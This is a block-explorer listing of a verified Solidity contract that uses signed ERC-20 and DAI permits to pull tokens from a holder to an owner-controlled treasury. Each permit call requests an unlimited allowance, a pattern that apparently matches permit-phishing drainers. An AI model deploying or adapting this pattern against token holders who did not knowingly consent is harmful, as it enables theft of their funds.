Verified contractExactMIT
PullPaymentUSDCEthereumUnlimitedPermit
Address0x2d05dc0f3967554ef8f067e894ec760ce76a7753
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.28
- Same code
Only this contract
Details
- Compiler
- solc 0.8.28+commit.7893614a
- Language
- solidity
- Optimization
- Yes, 200 runs
- EVM version
- cancun
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,398,920
- Creation transaction
- 0xb88ae1b77c…050e44491b
project/contracts/PullPaymentUSDCEthereumUnlimitedPermit.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20Permit2612 {
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
interface IERC20TransferFrom {
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
interface IDaiPermit {
function permit(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
contract PullPaymentUSDCEthereumUnlimitedPermit {
address public owner;
address public treasury;
address public executor;
event OwnerTransferred(address indexed previousOwner, address indexed newOwner);
event TreasuryUpdated(address indexed previousTreasury, address indexed newTreasury);
event ExecutorUpdated(address indexed previousExecutor, address indexed newExecutor);
event PermitPullExecuted(
address indexed token,
address indexed from,
address indexed treasury,
address executor,
uint256 amount
);
error NotOwner();
error PermitNotAllowed();
error NotExecutor();
error ZeroAddress();
error ZeroAmount();
error TransferFailed();
constructor(address initialTreasury, address initialExecutor) {
if (initialTreasury == address(0)) revert ZeroAddress();
if (initialExecutor == address(0)) revert ZeroAddress();
owner = msg.sender;
treasury = initialTreasury;
executor = initialExecutor;
emit OwnerTransferred(address(0), msg.sender);
emit TreasuryUpdated(address(0), initialTreasury);
emit ExecutorUpdated(address(0), initialExecutor);
}
modifier onlyOwner() {
if (msg.sender != owner) revert NotOwner();
_;
}
modifier onlyExecutor() {
if (msg.sender != executor) revert NotExecutor();
_;
}
function transferOwnership(address newOwner) external onlyOwner {
if (newOwner == address(0)) revert ZeroAddress();
address previousOwner = owner;
owner = newOwner;
emit OwnerTransferred(previousOwner, newOwner);
}
function setTreasury(address newTreasury) external onlyOwner {
if (newTreasury == address(0)) revert ZeroAddress();
address previousTreasury = treasury;
treasury = newTreasury;
emit TreasuryUpdated(previousTreasury, newTreasury);
}
function setExecutor(address newExecutor) external onlyOwner {
if (newExecutor == address(0)) revert ZeroAddress();
address previousExecutor = executor;
executor = newExecutor;
emit ExecutorUpdated(previousExecutor, newExecutor);
}
function executeWithPermit(
address token,
address from,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external onlyExecutor {
if (token == address(0)) revert ZeroAddress();
if (from == address(0)) revert ZeroAddress();
if (amount == 0) revert ZeroAmount();
IERC20Permit2612(token).permit(
from,
address(this),
type(uint256).max,
deadline,
v,
r,
s
);
bool success = IERC20TransferFrom(token).transferFrom(from, treasury, amount);
if (!success) revert TransferFailed();
emit PermitPullExecuted(token, from, treasury, msg.sender, amount);
}
function executeWithDaiPermit(
address token,
address from,
uint256 amount,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) external onlyExecutor {
if (token == address(0)) revert ZeroAddress();
if (from == address(0)) revert ZeroAddress();
if (amount == 0) revert ZeroAmount();
if (!allowed) revert PermitNotAllowed();
IDaiPermit(token).permit(from, address(this), nonce, expiry, allowed, v, r, s);
bool success = IERC20TransferFrom(token).transferFrom(from, treasury, amount);
if (!success) revert TransferFailed();
emit PermitPullExecuted(token, from, treasury, msg.sender, amount);
}
}
// VAVC_CONTRACT_VERSION: 4
// VAVC_PUBLICATION_ID: uzifTxV6YDgu1HvFKmtCihdWjsvA1BqfX1nUmD9bNY9MYiqZOljivT6MZvj1kxwyVNKHDgaCwSqviEiu
Compiler settingsShow
{
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"runs": 200,
"enabled": true
},
"evmVersion": "cancun"
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.